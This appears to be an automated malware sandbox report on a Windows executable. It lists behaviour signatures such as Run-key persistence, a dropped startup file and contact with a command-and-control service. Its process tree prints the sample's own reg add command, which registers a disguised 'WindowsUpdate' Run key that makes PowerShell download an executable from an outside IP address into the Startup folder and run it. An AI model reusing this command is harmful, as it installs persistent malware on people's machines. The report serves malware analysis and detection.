Analysis
- max time kernel
148s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
19/07/2026, 23:33
General
- Target 66cc7ecb9b97788b176b5f8105e47368e8c226b8d9d9bf2496f4b30999da8530.exe
- Size 1.3MB
- Sample260719-3jycpaay21
- SHA256 66cc7ecb9b97788b176b5f8105e47368e8c226b8d9d9bf2496f4b30999da8530
Score
7/10
Malware Config
Signatures
- Drops startup file 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SendNotifyMessage 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\66cc7ecb9b97788b176b5f8105e47368e8c226b8d9d9bf2496f4b30999da8530.exe"C:\Users\Admin\AppData\Local\Temp\66cc7ecb9b97788b176b5f8105e47368e8c226b8d9d9bf2496f4b30999da8530.exe"1⤵
- Drops startup file
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /t REG_SZ /d "powershell -ExecutionPolicy Bypass -NoProfile -Command Invoke-WebRequest -Uri http://45.144.212.77:16000/client -OutFile C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\runps.exe; Start-Process C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\runps.exe" /f2⤵
- Adds Run key to start application
-